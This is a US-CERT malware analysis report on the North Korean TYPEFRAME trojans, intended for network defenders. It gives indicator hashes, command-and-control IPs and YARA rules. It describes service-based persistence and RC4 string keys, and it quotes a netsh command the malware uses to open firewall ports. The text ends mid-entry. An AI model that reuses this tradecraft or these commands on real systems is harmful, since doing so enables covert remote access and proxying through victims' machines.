AR18-165A: MAR-10135536-12 – North Korean Trojan: TYPEFRAME

["US-CERT" <US-CERT () ncas us-cert gov>]

U.S. Department of Homeland Security US-CERT

 

National Cyber Awareness System: AR18-165A: MAR-10135536-12  North Korean Trojan: TYPEFRAME [ 
https://www.us-cert.gov/ncas/analysis-reports/AR18-165A ] 06/14/2018 10:16 AM EDT 
Original release date: June 14, 2018

Description

Notification

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not 
provide any warranties of any kind regarding any information contained within. The DHS does not endorse any commercial 
product or service, referenced in this bulletin or otherwise.

This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries 
minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. 
Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information 
on the Traffic Light Protocol, see http://www.us-cert.gov/tlp.

Summary

Description

This Malware Analysis Report (MAR) is the result of analytic efforts between the Department of Homeland Security (DHS) 
and the Federal Bureau of Investigation (FBI). Working with U.S. Government partners, DHS and FBI identified Trojan 
malware variants used by the North Korean government. This malware variant is known as TYPEFRAME. The U.S. Government 
refers to malicious cyber activity by the North Korean government as HIDDEN COBRA. For more information on HIDDEN COBRA 
activity, visit https://www.us-cert.gov/hiddencobra.

DHS and FBI are distributing this MAR to enable network defense and reduce exposure to North Korean government 
malicious cyber activity.

This MAR includes malware descriptions related to HIDDEN COBRA, suggested response actions and recommended mitigation 
techniques. Users and administrators should flag activity associated with the malware, report the activity to the DHS 
National Cybersecurity and Communications Integration Center (NCCIC) or the FBI Cyber Watch (CyWatch), and give the 
activity the highest priority for enhanced mitigation.

This malware report contains analysis of 11 malware samples consisting of 32-bit and 64-bit Windows executable files 
and a malicious Microsoft Word document that contains Visual Basic for Applications (VBA) macros. These files have the 
capability to download and install malware, install proxy and Remote Access Trojans (RATs), connect to command and 
control (C2) servers to receive additional instructions, and modify the victim's firewall to allow incoming connections.

*For a downloadable copy of IOCs, see:*


  * MAR-10135536-12.stix [ https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-12_WHITE_stix.xml ] 

Submitted Files (11)

201c7cd10a2bd50dde0948d14c3c7a0732955c908a3392aee3d08b94470c9d33 (1C53E7269FE9D84C6DF0A25BA59B82...)

20abb95114de946da7595438e9edf0bf39c85ba8512709db7d5532d37d73bd64 (EF9DB20AB0EEBF0B7C55AF4EC0B7BC...)

3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210 (java.exe)

40ef57ca2a617f5d24ac624339ba2027b6cf301c28684bf8b2075fc7a2e95116 (CA67F84D5A4AC1459934128442C53B...)

4bd7d801d7ce3fe9c2928dbc834b296e934473f5bbcc9a1fd18af5ebd43192cd (3229A6CEA658B1B3CA5CA9AD7B40D8...)

546dbd370a40c8e46f9b599a414f25000eec5ae6b3e046a035fe6e6cd5d874e1 (6AB301FC3296E1CEB140BF5D294894...)

675a35e04b19aab314bcbc4b1f2610e3dea4a80c277cc5188f1d1391a00dfdb1 (10B28DA8EEFAC62CE282154F273B3E...)

8c3e0204f52200325ed36db9b12aba1c5e46984d415514538a5bf10783cacdf8 (F5A4235EF02F34D547F71AA5434D9B...)

c9e3b83d77ce93cc1d70b22e967f049b13515c88572aa78e0a838103e5478777 (BFB41BC0C3856AA0A81A5256B7B8DA...)

d1d490866d4a4d29306f0d9300bffc1450c41bb8fd62371d29672bf9f747bf92 (BF474B8ACD55380B1169BB949D60E9...)

e69d6c2d3e9c4beebee7f3a4a3892e5fdc601beda7c3ec735f0dfba2b29418a7 (60294C426865B38FDE7C5031AFC4E4...)

Additional Files (3)

089e49de61701004a5eff6de65476ed9c7632b6020c2c0f38bb5761bca897359 (midimapper.rs)

a71017302e1745c8a3d6e425187eb23c7531551bb6f547e47198563a78e933b6 (laxhost.dll)

e088c3a0b0f466df5329d9a66ff618de3d468d8a5981715303babb1452631eef (dwnhost.dll)

IPs (7)

111.207.78.204

181.119.19.56

184.107.209.2

59.90.93.97

80.91.118.45

81.0.213.173

98.101.211.162

Findings

8c3e0204f52200325ed36db9b12aba1c5e46984d415514538a5bf10783cacdf8

Tags

remote-access-trojantrojan

Details

Name F5A4235EF02F34D547F71AA5434D9BB4 Size 490705 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 
f5a4235ef02f34d547f71aa5434d9bb4 SHA1 338699d56f17ab91fa2da1cb446593c013ae1a01 SHA256 
8c3e0204f52200325ed36db9b12aba1c5e46984d415514538a5bf10783cacdf8 SHA512 
27c610096248492fce0f8f478c62255cd1abc4ceb4a1ae310ca311a6d38ee3b93ce75ba45089204d0eb2036393bdcb98b3e77396d5ae6b9eecacc3a019ed225e
 ssdeep 12288:2okf/Epk6/lctEJxrXtl3h1ihDnjvAHR7ie5XtO/DRUKwS4Z/B5:2o6/EpH/iwNXtlhSnjg+e5A/DaZp5 Entropy 7.788643 

Antivirus

Avira TR/Crypt.ZPACK.Gen Symantec Heur.AdvML.C 

Yara Rules

hidden_cobra_consolidated.yara rule enc_PK_header { meta: author = "NCCIC trusted 3rd party" incident = "10135536" date 
= "2018-04-12" category = "hidden_cobra" family = "TYPEFRAME" hash0 = "3229a6cea658b1b3ca5ca9ad7b40d8d4" strings: $s0 = 
{ 5f a8 80 c5 a0 87 c7 f0 9e e6 } $s1 = { 95 f1 6e 9c 3f c1 2c 88 a0 5a } $s2 = { ae 1d af 74 c0 f5 e1 02 50 10 } 
condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them } hidden_cobra_consolidated.yara 
rule import_obfuscation_2 { meta: author = "NCCIC trusted 3rd party" incident = "10135536" date = "2018-04-12" category 
= "hidden_cobra" family = "TYPEFRAME" hash0 = "bfb41bc0c3856aa0a81a5256b7b8da51" strings: $s0 = {A6 D6 02 EB 4E B2 41 
EB C3 EF 1F} $s1 = {B6 DF 01 FD 48 B5 } $s2 = {B6 D5 0E F3 4E B5 } $s3 = {B7 DF 0E EE } $s4 = {B6 DF 03 FC } $s5 = {A7 
D3 03 FC } condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them } 

ssdeep Matches

No matches found.

PE Metadata

Compile Date 2017-06-05 21:21:28-04:00 Import Hash edb148321293bdc8b7ba8fbe0b1c6ed9 

PE Sections

MD5 Name Raw Size Entropy dde6c6e739f41680377511c709f7209a header 4096 0.590336 db44e1900789a7fd43b05d3871c9ab03 .text 
53248 6.538652 91d9797bd52d49fb73009fc3e0cdd7c5 .rdata 12288 3.476192 ef4ab26cc2c30397b12c53c759fcbef2 .data 16384 
2.132158 

Packers/Compilers/Cryptors

Microsoft Visual C++ v6.0 

Relationships

8c3e0204f5... Contains a71017302e1745c8a3d6e425187eb23c7531551bb6f547e47198563a78e933b6 

Description

This file is a 32-bit Windows portable executable file designed to install a Remote Access Trojan (RAT) as a service on 
the victim system. The malware accepts the following argument during execution "68S3mI2AMcmOz3BgjnuYpLlZ4fZog7sd.

The RATs APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin RC4 key--
85 C0 7C 17 8B 4D F4 8B 76 20 33 C0 3B C8 77 0B
--End RC4 key--

Decrypted strings of interest are displayed below:

--Begin strings of interest--
host.dll
"Task Notification Service"
"Monitors And Notifies Task Scheduling And Interaction"
netsvcs
--End strings of interest--

When executed, the RAT checks if the module "C:\Windows\system32\laxhost.dll" is installed on the compromised system. 
If it is not installed, it will load an embedded RC4 encrypted archive file from the start of the offset "0x15000.

The malware decrypts the archive using the same RC4 key. The decrypted archive contains a malicious DLL module, which 
is decompressed and installed into "C:\Windows\system32\laxhost.dll. The first three characters of the module name are 
randomly generated.

The malware contains an RC4 encrypted configuration file data (192 bytes). During runtime, it installs the encrypted 
configuration data into the following registry key:

--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\laxhost.dll"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--

The malware installs a malicious DLL module as a serviceDLL in the "netsvcs" service group in order to execute 
"C:\Windows\system32\laxhost.dll" using the Windows service hosting process, "%SYSTEMROOT%\system32\svchost.exe." The 
service name and the display name are randomly generated.

The installed service information is displayed below:

--Begin service information--
ServiceName = "Irmon"
DisplayName = "Irmon"
DesiredAccess = SERVICE_ALL_ACCESS
ServiceType = SERVICE_WIN32_SHARE_PROCESS
StartType = SERVICE_AUTO_START
BinaryPathName = "%SYSTEMROOT%\system32\svchost.exe -k netsvcs"
--End service information--

a71017302e1745c8a3d6e425187eb23c7531551bb6f547e47198563a78e933b6

Tags

backdoorremote-access-trojantrojan

Details

Name laxhost.dll Size 843776 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 
aa7924157b77dd1ff749d474f3062f90 SHA1 4f02a6bf2b24c371e9f589cff8e32b4d94cf4f29 SHA256 
a71017302e1745c8a3d6e425187eb23c7531551bb6f547e47198563a78e933b6 SHA512 
5150d8b063297d0da04288b4e4e2ad3d54b7546d909a71557789529d73703673098c37970280cd62c45306458cfcda701c1a7cee31ee7fb2192e627e11f0a3bd
 ssdeep 24576:r/pmC31xkE8sOvtQ6Wtuc0WhgpaM2yYq:bpj0E8sOvtQ6Wtuc0WhgpaM2yYq Entropy 6.681288 

Antivirus

Microsoft Security Essentials Backdoor:Win32/SilverMob.A!dha 

Yara Rules

hidden_cobra_consolidated.yara rule import_obfuscation_2 { meta: author = "NCCIC trusted 3rd party" incident = 
"10135536" date = "2018-04-12" category = "hidden_cobra" family = "TYPEFRAME" hash0 = 
"bfb41bc0c3856aa0a81a5256b7b8da51" strings: $s0 = {A6 D6 02 EB 4E B2 41 EB C3 EF 1F} $s1 = {B6 DF 01 FD 48 B5 } $s2 = 
{B6 D5 0E F3 4E B5 } $s3 = {B7 DF 0E EE } $s4 = {B6 DF 03 FC } $s5 = {A7 D3 03 FC } condition: (uint16(0) == 0x5A4D and 
uint16(uint32(0x3c)) == 0x4550) and all of them } 

ssdeep Matches

No matches found.

PE Metadata

Compile Date 2017-06-09 13:59:30-04:00 Import Hash 180f8d53e7b967e9af9444547c05f192 Company Name Microsoft Corporation 
File Description Xps Object Model in memory creation and deserialization Internal Name xpsservices.dll Legal Copyright 
Microsoft Corporation. All rights reserved. Original Filename xpsservices.dll Product Name Microsoft Windows Operating 
System Product Version 6.1.7601.17514 

PE Sections

MD5 Name Raw Size Entropy e1b6f98aadc18cf1b2e1796eb3d8b783 header 4096 0.800174 5d97a9d06913043a085d8071f7a5ab7c .text 
540672 6.661444 bab7eb304870fe36e8c98f5085b8603c .rdata 163840 6.184319 33e00b6b91f87e1e948a8bc44803837f .data 81920 
4.853104 4093ef4294e5d39c92ba4d89a6c92a15 .rsrc 8192 3.983157 39ddff289842b4fafc796c9795b870c8 .reloc 45056 5.723684 

Packers/Compilers/Cryptors

Microsoft Visual C++ 6.0 Microsoft Visual C++ 6.0 DLL (Debug) 

Relationships

a71017302e... Connected_To 59.90.93.97 a71017302e... Contained_Within 
8c3e0204f52200325ed36db9b12aba1c5e46984d415514538a5bf10783cacdf8 

Description

laxhost.dll (original name: KDCOLCWP.DLL) is a 32-bit Windows dynamic-link library (DLL) file and is a RAT module that 
was installed as a service by the file 8c3e0204f52200325ed36db9b12aba1c5e46984d415514538a5bf10783cacdf8.

laxhost.dlls APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin RC4 key--
85 C0 7C 17 8B 4D F4 8B 76 20 33 C0 3B C8 77 0B
--End RC4 key--

When executed, it loads and decrypts the encrypted configuration file data from the registry using the same RC4 key:

--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\laxhost.dll"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--

The decrypted data contains hexadecimal-encoded C2 IP address and port number:

--Begin IP and port # list -
BB 01 3B 5A 5D 61 ==> 59.90.93.97:443
--End IP and port # list --

The malware attempts to connect to its C2 server 59.90.93.97 using port 443 and wait for further instructions.

The malware is designed to accept instructions from the remote server to perform the following functions:

--Begin functions performed by the malware--
Get Disk Free Space
Search for files
Execute process in elevated mode
Terminate processes
Delete files
Execute command-using shell
Download and upload files
Read files and write files
Delete Service and uninstall malware components using a batch script
--End functions performed by the malware--

675a35e04b19aab314bcbc4b1f2610e3dea4a80c277cc5188f1d1391a00dfdb1

Tags

proxytrojan

Details

Name 10B28DA8EEFAC62CE282154F273B3E34 Size 466267 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 
10b28da8eefac62ce282154f273b3e34 SHA1 25991d00eb1b1204b0066d5aeb79ac691047d7f0 SHA256 
675a35e04b19aab314bcbc4b1f2610e3dea4a80c277cc5188f1d1391a00dfdb1 SHA512 
7955c46e3d5ed3454340821caecd44d6bc1b918ef7bdcd6f0f8d67676cbf0fde52a578583a0388c4d838652d3d1da4615ced6ae2c59b562f030f752cbc7bfb99
 ssdeep 6144:qoXLxi/EpH/ae6jEazjsHZ3OJJMUc6ngmOsH95rjw26XwXFLP7E1tC1KRtyn5o1n:qoQ/EpH/mEaiZiJy6ngm95t6qLPJp2d Entropy 
7.761748 

Antivirus

ESET a variant of Win32/Agent.YDV trojan Microsoft Security Essentials Trojan:Win32/Autophyte.B!dha Symantec 
Heur.AdvML.C 

Yara Rules

hidden_cobra_consolidated.yara rule enc_PK_header { meta: author = "NCCIC trusted 3rd party" incident = "10135536" date 
= "2018-04-12" category = "hidden_cobra" family = "TYPEFRAME" hash0 = "3229a6cea658b1b3ca5ca9ad7b40d8d4" strings: $s0 = 
{ 5f a8 80 c5 a0 87 c7 f0 9e e6 } $s1 = { 95 f1 6e 9c 3f c1 2c 88 a0 5a } $s2 = { ae 1d af 74 c0 f5 e1 02 50 10 } 
condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them } hidden_cobra_consolidated.yara 
rule import_obfuscation_2 { meta: author = "NCCIC trusted 3rd party" incident = "10135536" date = "2018-04-12" category 
= "hidden_cobra" family = "TYPEFRAME" hash0 = "bfb41bc0c3856aa0a81a5256b7b8da51" strings: $s0 = {A6 D6 02 EB 4E B2 41 
EB C3 EF 1F} $s1 = {B6 DF 01 FD 48 B5 } $s2 = {B6 D5 0E F3 4E B5 } $s3 = {B7 DF 0E EE } $s4 = {B6 DF 03 FC } $s5 = {A7 
D3 03 FC } condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them } 

ssdeep Matches

No matches found.

PE Metadata

Compile Date 2016-07-24 19:38:33-04:00 Import Hash 225e9f7be86d6676c98a852492458049 

PE Sections

MD5 Name Raw Size Entropy 58c7eb8637b7fbde7bb31985b77ca1af header 4096 0.591843 65d9f034d6153048c3e51bf5e07d6486 .text 
53248 6.446416 eb9c5e8a429ac587cd35f0dcec939295 .rdata 12288 3.434883 d80b556aaa361958d9ecd816ac2a36c7 .data 16384 
2.106829 

Packers/Compilers/Cryptors

Microsoft Visual C++ v6.0 

Relationships

675a35e04b... Contains e69d6c2d3e9c4beebee7f3a4a3892e5fdc601beda7c3ec735f0dfba2b29418a7 

Description

This file is a 32-bit Windows executable designed to install a proxy module as a service on the victims system. This 
file accepts the following arguments during execution: "68S3mI2AMcmOz3BgjnuYpLlZ4fZog7sd."

The malwares APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin RC4 key--
85 C0 7C 17 8B 4D F4 8B 76 20 33 C0 3B C8 77 0B
--End RC4 key--

Decrypted strings of interest are displayed below:

--Begin strings of interest--
"wmplayer.xml"
"printcache.tlb"
"Print Device Cache"
"Manage Print Device Cache And Printing"
printcache
--End strings of interest--

When executed, it will load an embedded RC4 encrypted archive file from the start of the offset "0x15000."

The malware decrypts the archive using the same RC4 key. The decrypted archive contains a proxy module, which is 
decompressed and installed from the existing file name "wmplayer.xml" to "C:\Windows\system32\printcache.tlb."

The malware installs the module as a serviceDLL in the "printcache" service group in order to execute 
"C:\Windows\system32\printcache.tlb" using the Windows service hosting process, "%SYSTEMROOT%\system32\svchost.exe."

--Begin service--
ServiceName = "printcache"
DisplayName = "Print Device Cache"
DesiredAccess = SERVICE_ALL_ACCESS
ServiceType = SERVICE_WIN32_SHARE_PROCESS
StartType = SERVICE_AUTO_START
BinaryPathName = "%SYSTEMROOT%\system32\svchost.exe -k printcache"
--End service--

The malware contains an RC4 encrypted configuration file data, which contains port numbers (8 bytes). During runtime, 
it installs the encrypted configuration data into the following registry key:

--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\PrintConfigs"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--

e69d6c2d3e9c4beebee7f3a4a3892e5fdc601beda7c3ec735f0dfba2b29418a7

Tags

proxytrojan

Details

Name 60294C426865B38FDE7C5031AFC4E453 Size 778240 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows 
MD5 60294c426865b38fde7c5031afc4e453 SHA1 f8736e3f89f30f082cfd68a73763afcfb0e1c9c3 SHA256 
e69d6c2d3e9c4beebee7f3a4a3892e5fdc601beda7c3ec735f0dfba2b29418a7 SHA512 
fe96fa2f127a3a71a9edc89268567188f8c585ea8356feb9a2c46224dc7022b3d751848424df745b517e7a1e123c566b6feb094653281026ffd2e9ce81d5a7a1
 ssdeep 12288:8iwDMd29KJgSWD8QfEbsjlqxlsiAen1XQ1pV+jPAt:8WghEbvhAeC1pIDAt Entropy 6.714021 

Antivirus

Ahnlab Trojan/Win32.Agent BitDefender Gen:Variant.Symmi.14589 Emsisoft Gen:Variant.Symmi.14589 (B) F-secure 
Gen:Variant.Symmi.14589 Microsoft Security Essentials TrojanProxy:Win32/SilverMob.A!dha 

Yara Rules

hidden_cobra_consolidated.yara rule import_obfuscation_2 { meta: author = "NCCIC trusted 3rd party" incident = 
"10135536" date = "2018-04-12" category = "hidden_cobra" family = "TYPEFRAME" hash0 = 
"bfb41bc0c3856aa0a81a5256b7b8da51" strings: $s0 = {A6 D6 02 EB 4E B2 41 EB C3 EF 1F} $s1 = {B6 DF 01 FD 48 B5 } $s2 = 
{B6 D5 0E F3 4E B5 } $s3 = {B7 DF 0E EE } $s4 = {B6 DF 03 FC } $s5 = {A7 D3 03 FC } condition: (uint16(0) == 0x5A4D and 
uint16(uint32(0x3c)) == 0x4550) and all of them } 

ssdeep Matches

No matches found.

PE Metadata

Compile Date 2017-03-02 14:01:47-05:00 Import Hash 09e63e3d425d6b543de4003f71c2b66d 

PE Sections

MD5 Name Raw Size Entropy 1eda6d8dec57fac45afb42a6f27080a0 header 4096 0.767469 4109d939d8532ac1bd9f2cfa81a33905 .text 
475136 6.632858 3b24a4913977b402a4dcce1694306cfb .rdata 147456 5.923542 f597eb4917ef44a2f9a080fc59f528f3 .data 77824 
4.968551 77c814f5856057e7a7f6237bbba51a76 .rsrc 32768 7.100017 438ec3064d499d63eb03035aa1f7a142 .reloc 40960 5.759460 

Packers/Compilers/Cryptors

Microsoft Visual C++ 6.0 Microsoft Visual C++ 6.0 DLL (Debug) 

Relationships

e69d6c2d3e... Contained_Within 675a35e04b19aab314bcbc4b1f2610e3dea4a80c277cc5188f1d1391a00dfdb1 

Description

This file, printcache.tlb (original name: PDll.dll), is a proxy module installed as a service by the file 
675a35e04b19aab314bcbc4b1f2610e3dea4a80c277cc5188f1d1391a00dfdb1. This file is designed to open the Windows Firewall on 
the victims machine to allow incoming connections and force the compromised system to function as a proxy server.

The malwares APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin Rc4 key--
85 C0 7C 17 8B 4D F4 8B 76 20 33 C0 3B C8 77 0B
--End Rc4 key--

When executed, it loads and decrypts the encrypted configuration file data from the registry using the same RC4 key.

--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\PrintConfigs"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--

The decrypted data contains hexadecimal encoded port numbers:

--Begin port # list --
BB 01 ==> 1BB ==> 443
7F 00 ==> 7F ==> 127
90 1F ==> 1F90 == 8080
--End port # list --

The malware utilized the following command to open the Windows Firewall on the victims machine to allow incoming 
connections.

--Begin firewall modification--
"netsh.exe advfirewall firewall add rule name="PortOpenning" dir=in protocol=tcp localport=443 action"
--End firewall modification--

The malware attempts to open ports 443, 127, and 8080 and wait for a connection. The malware contains public SSL 
certificates in its resource named "101 and is designed to generate crafted TLS sessions (fake TLS communication 
mechanism).


089e49de61701004a5eff6de65476ed9c7632b6020c2c0f38bb5761bca897359

Tags

proxytrojan

Details

Name midimapper.rs Size 761856 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 
00b0cfb59b088b247c97c8fed383c115 SHA1 0cdee734d3a17de0e81b9b2b0b36804d516c3212 SHA256 
089e49de61701004a5eff6de65476ed9c7632b6020c2c0f38bb5761bca897359 SHA512 
9c9f65e277816a42574ddc28724e1afde8c3bffd0e8bf2e0414204d7b07384848718ada43e59c206b6d13dca33c28c4ae3a82ec12b21207efa5cbb8abfacf7d6
 ssdeep 12288:5XYoUXvfAkdRwowG358mOlVvRaXKgCJpV4DDxazfAF:+zwowHJ46jJp+DmfAF Entropy 6.693566 

Antivirus

Ahnlab Trojan/Win32.Agent BitDefender Gen:Variant.Symmi.14589 ESET Win32/NukeSped.AQ trojan Emsisoft 
Gen:Variant.Symmi.14589 (B) F-secure Gen:Variant.Symmi.14589 Ikarus Trojan.Win32.Agentb K7 Trojan ( 0051e0501 ) 
Microsoft Security Essentials TrojanProxy:Win32/SilverMob.A!dha NANOAV Trojan.Win32.NukeSped.eylorq Quick Heal 
Genvariant.Symmi VirusBlokAda Trojan.Agentb Zillya! Trojan.Agentb.Win32.18439 

Yara Rules

hidden_cobra_consolidated.yara rule import_obfuscation_2 { meta: author = "NCCIC trusted 3rd party" incident = 
"10135536" date = "2018-04-12" category = "hidden_cobra" family = "TYPEFRAME" hash0 = 
"bfb41bc0c3856aa0a81a5256b7b8da51" strings: $s0 = {A6 D6 02 EB 4E B2 41 EB C3 EF 1F} $s1 = {B6 DF 01 FD 48 B5 } $s2 = 
{B6 D5 0E F3 4E B5 } $s3 = {B7 DF 0E EE } $s4 = {B6 DF 03 FC } $s5 = {A7 D3 03 FC } condition: (uint16(0) == 0x5A4D and 
uint16(uint32(0x3c)) == 0x4550) and all of them } 

ssdeep Matches

100 dfb41457088fa2003a085c325bcb63666e1e66fa36bdc8975995bfbeac39500d 

PE Metadata

Compile Date 2016-07-25 03:12:34-04:00 Import Hash 100f0ee6d217c6b9e15be71a6c42a2d3 

PE Sections

MD5 Name Raw Size Entropy 93649845b04705777d78e05982b93e5f header 4096 0.765196 93649845b04705777d78e05982b93e5f header 
4096 0.765196 aca858c8ea569b991797da02f8613716 .text 458752 6.614177 aca858c8ea569b991797da02f8613716 .text 458752 
6.614177 11b9d8a29ef67ebb2c19f753f1c7ada4 .rdata 147456 5.918054 11b9d8a29ef67ebb2c19f753f1c7ada4 .rdata 147456 
5.918054 72b7a8f5d846964649b682d6ef074cc0 .data 77824 4.964840 72b7a8f5d846964649b682d6ef074cc0 .data 77824 4.964840 
d73a8feca0f13f34575c84df77fbed0e .rsrc 32768 7.100191 d73a8feca0f13f34575c84df77fbed0e .rsrc 32768 7.100191 
61c29b19fe37db83e42ef9ddf46eb40f .reloc 40960 5.689934 61c29b19fe37db83e42ef9ddf46eb40f .reloc 40960 5.689934 

Packers/Compilers/Cryptors

Microsoft Visual C++ 6.0 Microsoft Visual C++ 6.0 DLL (Debug) 

Description

midimapper.rs (original name: MDll.dll) is a proxy module installed as a service. This file is designed to open the 
Windows Firewall on the victims machine to allow incoming connections and force the compromised system to function as a 
proxy server.

The malwares APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin Rc4 key--
85 C0 7C 17 8B 4D F4 8B 76 20 33 C0 3B C8 77 0B
--End Rc4 key--

When executed, the malware loads and decrypts the encrypted configuration file data from the registry using the same 
RC4 key.

--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\PrintConfigs"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--

The decrypted data contains hexadecimal encoded port numbers:

-- Begin port # list --
FB 20 ==> 20FB ==> 8443
-- End port # list --

The malware utilized the following command to open the Windows Firewall on the victims machine to allow incoming 
connections.

--Begin firewall modification--
"netsh.exe advfirewall firewall add rule name="PortOpenning" dir=in protocol=tcp localport=8443 action=allow enable=yes"
--End firewall modification--

The malware attempts to open port 8443 and wait for connection. The malware contains public SSL certificates in its 
resource named "101. It is designed to generate crafted TLS sessions (fake TLS communication mechanism).

d1d490866d4a4d29306f0d9300bffc1450c41bb8fd62371d29672bf9f747bf92

Tags

proxytrojan

Details

Name BF474B8ACD55380B1169BB949D60E9E4 Size 466241 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 
bf474b8acd55380b1169bb949d60e9e4 SHA1 c60c18fc0226a53be15637ee3ef0b73b0dabd854 SHA256 
d1d490866d4a4d29306f0d9300bffc1450c41bb8fd62371d29672bf9f747bf92 SHA512 
46995cf3516c160d2f4fa5957c8c67df75f2768b24562b22de46a5d4ef7ba17fecaef2ad900bc6925e0c4284802864361423653154ad0622af18d049fb0419be
 ssdeep 12288:G+3/oi/EpRsV97/8Olq3p8YNk5oYEeLxCStEowZVKmZag:Gmoi/EpRsV9S3prgomLE9oVmQg Entropy 7.760001 

Antivirus

Microsoft Security Essentials Trojan:Win32/Autophyte.B!dha Symantec Heur.AdvML.C 

Yara Rules

hidden_cobra_consolidated.yara rule enc_PK_header { meta: author = "NCCIC trusted 3rd party" incident = "10135536" date 
= "2018-04-12" category = "hidden_cobra" family = "TYPEFRAME" hash0 = "3229a6cea658b1b3ca5ca9ad7b40d8d4" strings: $s0 = 
{ 5f a8 80 c5 a0 87 c7 f0 9e e6 } $s1 = { 95 f1 6e 9c 3f c1 2c 88 a0 5a } $s2 = { ae 1d af 74 c0 f5 e1 02 50 10 } 
condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them } 

ssdeep Matches

No matches found.

PE Metadata

Compile Date 2017-06-08 07:12:45-04:00 Import Hash 225e9f7be86d6676c98a852492458049 

PE Sections

MD5 Name Raw Size Entropy 21257d58787390491b672d426714b015 header 4096 0.592724 dff4417e6006f193afa34a31581d52dd .text 
53248 6.423430 5fbeefe580cf5cb5ee032f29c78b5f7b .rdata 12288 3.435650 c5776014ec07771c8d8093a7af1868c7 .data 16384 
2.126011 

Packers/Compilers/Cryptors

Microsoft Visual C++ v6.0 

Relationships

d1d490866d... Contains 40ef57ca2a617f5d24ac624339ba2027b6cf301c28684bf8b2075fc7a2e95116 

Description

This 32-bit Windows executable is a RAT, designed to install a proxy module as a service on the victims system.

The malware's APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin Rc4 key--
75 0E 83 C0 02 83 C1 02 84 D2 75 E4 33 C0 EB 05
--End Rc4 key--

Decrypted strings of interest are displayed below:

--Begin strings of interest--
"wmplayer.xml"
"printcache.tlb"
"printcache"
"Print Device Cache"
"Manage Print Device Cache And Printing"
--End strings of interest--

When executed, the malware will load an embedded RC4 encrypted archive file from the start of the offset "0x15000.

The malware decrypts the archive using the same Rc4 key. The decrypted archive contains a proxy module, which is 
decompressed and installed from the existing file name "wmplayer.xml" to "C:\Windows\system32\printcache.tlb".

The malware installs the module as a serviceDLL in the "printcache" service group in order to execute 
"C:\Windows\system32\printcache.tlb" by the Windows service hosting process, "%SYSTEMROOT%\system32\svchost.exe.

--Begin service--
ServiceName = "printcache"
DisplayName = "Print Device Cache"
DesiredAccess = SERVICE_ALL_ACCESS
ServiceType = SERVICE_WIN32_SHARE_PROCESS
StartType = SERVICE_AUTO_START
BinaryPathName = "%SYSTEMROOT%\system32\svchost.exe -k printcache"
--End service--

The malware contains an RC4 encrypted configuration file data, which contains port numbers (8 bytes). During runtime, 
it installs the encrypted configuration data into the following registry key:

--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\PrintConfigs"
ValueName = "Signature"
ValueData = "RC4 encrypted configuration file data"
--End registry key--

40ef57ca2a617f5d24ac624339ba2027b6cf301c28684bf8b2075fc7a2e95116

Tags

proxytrojan

Details

Name 1printcache.tlb Name CA67F84D5A4AC1459934128442C53B03 Size 778240 bytes Type PE32 executable (DLL) (GUI) Intel 
80386, for MS Windows MD5 ca67f84d5a4ac1459934128442c53b03 SHA1 f4eb6a50c60320edafb3e48c612c6a55560d0684 SHA256 
40ef57ca2a617f5d24ac624339ba2027b6cf301c28684bf8b2075fc7a2e95116 SHA512 
4695cf69e2ae52fc94eab31cbc3bb846022a3e1516d9bc293118f674ea1eb86468cff0a4c0dee8dff8a2d545df153116e8d86669513426e1b32a205041339e45
 ssdeep 12288:drrF4D0d2QKPIyWE8QPnWnGHiS2VcL2ZotSNfpV532/dlZ:x6IGnWntQ2ZvfpvmdlZ Entropy 6.710797 

Antivirus

Ahnlab Trojan/Win32.Agent BitDefender Gen:Variant.Symmi.14589 Emsisoft Gen:Variant.Symmi.14589 (B) F-secure 
Gen:Variant.Symmi.14589 

Yara Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date 2017-06-08 07:12:35-04:00 Import Hash 09e63e3d425d6b543de4003f71c2b66d 

PE Sections

MD5 Name Raw Size Entropy 5b1f93f0412e9f1c7a7ad42d729b292b header 4096 0.769911 e6ea312f762f4df521b229a77f186664 .text 
